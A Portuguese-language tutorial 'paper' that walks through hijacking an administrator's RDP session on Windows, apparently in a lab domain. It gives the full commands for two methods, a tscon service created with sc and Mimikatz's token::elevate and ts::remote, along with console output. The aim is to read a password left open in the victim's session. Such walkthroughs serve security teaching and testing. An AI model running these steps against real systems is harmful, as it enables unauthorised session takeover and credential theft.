.

.

Movimentação Lateral através do Sequestro de RDP

Autor: @mrempy

        ⠀⠀⠀⣤⣴⣾⣿⣿⣿⣿⣿⣶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡄
        ⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⢰⣦⣄⣀⣀⣠⣴⣾⣿⠃
        ⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⠀
        ⠀⠀⣼⣿⡿⠿⠛⠻⠿⣿⣿⡇⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀
        ⠀⠀⠉⠀⠀⠀⢀⠀⠀⠀⠈⠁⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀
        ⠀⠀⣠⣴⣶⣿⣿⣿⣷⣶⣤⠀⠀⠀⠈⠉⠛⠛⠛⠉⠉⠀⠀⠀
        ⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⣶⣦⣄⣀⣀⣀⣤⣤⣶⠀⠀
        ⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀
        ⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀
        ⢠⣿⡿⠿⠛⠉⠉⠉⠛⠿⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀
        ⠘⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣿⣿⣿⠿⠛⠀⠀⠀



            ▓▓▓▓▓▓        ▓▓▓▓▓▓      ▓▓▓▓▓▓▓▓    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓    ▓▓▓▓    
          ▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓  
          ▓▓▒▒  ▒▒▒▒▒▒▒▒▒▒▒▒  ▒▒▒▒▒▒▒▒▒▒    ▒▒▒▒▒▒▒▒          ▒▒▒▒▒▒▒▒▒▒▓▓  
          ▓▓▒▒                           Sumário                      ▒▒▓▓  
          ▓▓▒▒                                                        ▒▒▓▓  
            ▓▓▒▒             1. O que é um Sequestro de RDP           ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▓▓  
          ▓▓▓▓▒▒                                                      ▒▒▓▓  
          ▓▓▒▒                       2. Requisitos                    ▒▒▓▓▓▓
          ▓▓▒▒                                                          ▒▒▓▓
          ▓▓▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒      3. Sequestro Utilizando o Prompt de Comandos    ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▓▓  
            ▓▓▓▓▒▒                                                    ▒▒▓▓  
            ▓▓▒▒                                                      ▒▒▓▓  
            ▓▓▓▓▒▒          4. Sequestro Utilizando o Mimikatz        ▒▒▓▓▓▓
            ▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒               ████████       ████                      ▒▒▓▓
            ▓▓▒▒            ██████             █████████                ▒▒▓▓
            ▓▓▒▒                                                      ▒▒▓▓▓▓
            ▓▓▒▒              ████████              ██    ██████      ▒▒▒▒  
            ▓▓▒▒        ████████    ██████████      ████████  ████    ▒▒▒▒  
          ▓▓▓▓▒▒                      ████                            ▒▒▒▒  
          ▓▓▒▒                                                        ▒▒▓▓  
          ▓▓▓▓▒▒        ██        ██                          ████    ▒▒▓▓▓▓
            ▓▓▒▒        ██████  ████████  ████    ████████████  ██      ▒▒▓▓
            ▓▓▒▒            ██████    ██████                            ▒▒▓▓
          ▓▓▓▓▒▒                                                        ▒▒▓▓
          ▓▓▓▓▒▒▒▒▒▒  ▒▒▒▒▒▒▒▒▒▒    ▒▒▒▒▒▒    ▒▒▒▒▒▒▒▒  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒  ▒▒▓▓
            ▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓  
                ▓▓▓▓▓▓        ▓▓▓▓▓▓    ▓▓▓▓▓▓      ▓▓▓▓      ▓▓▓▓▓▓▓▓▓▓  


        Neste paper, eu irei abordar 2 formas para executar um sequestro de (Remote Desktop Protocol).
        
        ╔════════════════════════════════════╗
        ║     O que é um Sequestro de RDP    ║
        ╚════════════════════════════════════╝

        O sequestro de RDP é uma das técnicas essenciais relacionada a pós-exploração em ambientes
        Windows. Com essa técnica, é possível obter acesso remoto à área de trabalho de um usuário
        para ter acesso a dados que estão presente na sessão do usuário.

        O cenário de exemplo que iremos utilizar terá uma sessão RDP do usuário	Administrator ativa, onde há uma senha escrita em um bloco
        de notas. O objetivo é sequestrar a sessão do usuário Administrator para conseguir ter acesso ao bloco de notas onde está a senha.

        ╔═══════════════════╗
        ║     Requisitos    ║
        ╚═══════════════════╝

        Para que o ataque funcione corretamente, é necessário ter todos esses requisitos:
        * Conta de usuário com acesso administrativo
        * Acesso à máquina via RDP
        * Mimikatz implantado na máquina

        ╔═════════════════════════════════════════════════╗
        ║     Sequestro Utilizando o Prompt de Comando    ║
        ╚═════════════════════════════════════════════════╝

        O sequestro de sessão RDP utilizando o Prompt de Comando se resume em criar um serviço onde irá executar o cmd.exe chamando o
        executável "tscon.exe" para pular para outra sessão. Se tentar executar o tscon sem ser por uma conta de serviço, o programa
        retorna uma mensagem pedindo para o usuário colocar a senha da conta que quer sequestrar.

        Um prompt de comando ou powershell executado como administrador não é o suficiente, é necessário executar o ataque com uma
        conta com permissão acima do grupo de administradores. A conta "Local Service" está acima dos administradores, se executar o
        tscon com esse usuário, não será necessário se autenticar na conta do usuário alvo.

        Vamos começar!
        Execute o cmd.exe como administrador e execute o seguinte comando:

        ╔════════════════════════════════════════════════════════════════════════════════════╗
        ║Microsoft Windows [Version 10.0.20348.587]                                          ║
        ║(c) Microsoft Corporation. All rights reserved.                                     ║
        ║                                                                                    ║
        ║C:\Windows\system32>query user                                                      ║
        ║ USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME         ║
        ║ administrator         rdp-tcp#0           2  Active          .  06/05/2023 10:18   ║
        ║>rdpuser               rdp-tcp#1           3  Active          .  06/05/2023 10:18   ║
        ╚════════════════════════════════════════════════════════════════════════════════════╝

        Com esse comando, é possível ver todas as sessões RDP's ativas na máquina. O usuário utilizado é o "rdpuser", que será
        responsável pelo sequestro da sessão RDP do usuário "administrator".

        Tendo isso em mente, crie um serviço pelo cmd com o seguinte comando:

        sc create rdphijacking binpath="cmd.exe /k tscon ID /dest:SESSIONNAME"

        Altere o "ID" para o ID da sessão que você quer sequestrar, que neste caso, é o ID 2. Também altere o "SESSIONNAME" para o
        seu nome de sessão do RDP, que neste caso, é rdp-tcp#1.

        ╔════════════════════════════════════════════════════════════════════════════════════╗
        ║Microsoft Windows [Version 10.0.20348.587]                                          ║
        ║(c) Microsoft Corporation. All rights reserved.                                     ║
        ║                                                                                    ║
        ║C:\Windows\system32>query user                                                      ║
        ║ USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME         ║
        ║ administrator         rdp-tcp#0           2  Active          .  06/05/2023 10:18   ║
        ║>rdpuser               rdp-tcp#1           3  Active          .  06/05/2023 10:18   ║
        ║                                                                                    ║
        ║C:\Windows\system32>sc create testsvc binpath="cmd.exe /k tscon 2 /dest:rdp-tcp#1"  ║
        ║[SC] CreateService SUCCESS                                                          ║ 
        ║                                                                                    ║
        ╚════════════════════════════════════════════════════════════════════════════════════╝

        O serviço foi criado, agora basta executar o comando "net start testsvc".

        Após a execução, sua sessão será trocada rapidamente para a sessão RDP que você sequestrou. Caso queira deletar o serviço,
        execute o comando "sc delete testsvc".

        ╔════════════════════════════════════════╗
        ║     Sequestro Utilizando o Mimikatz    ║
        ╚════════════════════════════════════════╝

        A ferramenta Mimikatz contém funcionalidades relacionadas a RDP que ajudam na movimentação lateral. Instale o Mimikatz na
        máquina alvo e execute os seguintes comandos no cmd como administrador:

        ╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
        ║C:\Users\rdpuser\Desktop\mimikatz-master\x64>mimikatz.exe                                                                                    ║
        ║                                                                                                                                             ║
        ║  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36                                                                                 ║
        ║ .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)                                                                                                  ║
        ║ ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )                                                                     ║
        ║ ## \ / ##       > http://blog.gentilkiwi.com/mimikatz                                                                                       ║
        ║ '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )                                                                    ║
        ║  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/                                                                    ║
        ║                                                                                                                                             ║
        ║mimikatz # privilege::debug                                                                                                                  ║
        ║Privilege '20' OK                                                                                                                            ║
        ║                                                                                                                                             ║
        ║mimikatz # token::elevate                                                                                                                    ║
        ║Token Id  : 0                                                                                                                                ║
        ║User name :                                                                                                                                  ║
        ║SID name  : NT AUTHORITY\SYSTEM                                                                                                              ║
        ║                                                                                                                                             ║
        ║560     {0;000003e7} 1 D 20777          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary                                      ║
        ║-> Impersonated !                                                                                                                            ║
        ║* Process Token : {0;00083144} 3 F 2696845     ADLAB\rdpuser   S-1-5-21-1925757665-3945186109-1063137025-1104  (14g,26p)       Primary       ║
        ║* Thread Token  : {0;000003e7} 1 D 2773832     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)            ║
        ║                                                                                                                                             ║
        ║mimikatz # ts::sessions                                                                                                                      ║
        ║                                                                                                                                             ║
        ║Session: 0 - Services                                                                                                                        ║
        ║state: Disconnected (4)                                                                                                                      ║
        ║user :  @                                                                                                                                    ║
        ║curr : 06/05/2023 11:00:24                                                                                                                   ║
        ║lock : no                                                                                                                                    ║
        ║                                                                                                                                             ║
        ║Session: 1 - Console                                                                                                                         ║
        ║state: Connected (1)                                                                                                                         ║
        ║user :  @                                                                                                                                    ║
        ║Conn : 06/05/2023 10:17:21                                                                                                                   ║
        ║curr : 06/05/2023 11:00:24                                                                                                                   ║
        ║lock : no                                                                                                                                    ║
        ║                                                                                                                                             ║
        ║Session: 2 - RDP-Tcp#0                                                                                                                       ║
        ║state: Active (0)                                                                                                                            ║
        ║user : Administrator @ ADLAB                                                                                                                 ║
        ║Conn : 06/05/2023 10:18:39                                                                                                                   ║
        ║logon: 06/05/2023 10:18:40                                                                                                                   ║
        ║last : 06/05/2023 10:59:05                                                                                                                   ║
        ║curr : 06/05/2023 11:00:24                                                                                                                   ║
        ║lock : no                                                                                                                                    ║
        ║addr4: 10.18.1.10                                                                                                                            ║
        ║                                                                                                                                             ║
        ║Session: *3 - RDP-Tcp#1                                                                                                                      ║
        ║state: Active (0)                                                                                                                            ║
        ║user : rdpuser @ ADLAB                                                                                                                       ║
        ║Conn : 06/05/2023 10:18:53                                                                                                                   ║
        ║logon: 06/05/2023 10:18:55                                                                                                                   ║
        ║last : 06/05/2023 11:00:24                                                                                                                   ║
        ║curr : 06/05/2023 11:00:24                                                                                                                   ║
        ║lock : no                                                                                                                                    ║
        ║addr4: 10.18.1.12                                                                                                                            ║
        ║                                                                                                                                             ║
        ║Session: 65536 - RDP-Tcp                                                                                                                     ║
        ║state: Listen (6)                                                                                                                            ║
        ║user :  @                                                                                                                                    ║
        ║lock : no                                                                                                                                    ║
        ║                                                                                                                                             ║
        ║mimikatz # ts::remote /id:2                                                                                                                  ║
        ╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝

        Observe que o parâmetro "id" está com o número 2, que é o ID da sessão do usuário Administrator.
        
        Ao executar os comandos, você será redirecionado para a sessão do usuário.


                            _--_
                            /   -)
                        ___/___|___
           ____-----=~~///|     ||||~~~==-----_____
         //~////////////~/|     |//|||||\\\\\\\\\\\\\
       ////////////////////|   |///////|\\\\\\\\\\\\\\\
      /////~~~~~~~~~~~~~~~\ |.||/~~~~~~~~~~~~~~~~~`\\\\\
     //~                  /\\|\\                      ~\\
                         ///W^\W\
                        ////|||\\\
                        ~~~~~~~~~~     

        Obrigado por lerem meu paper, até a próxima ;)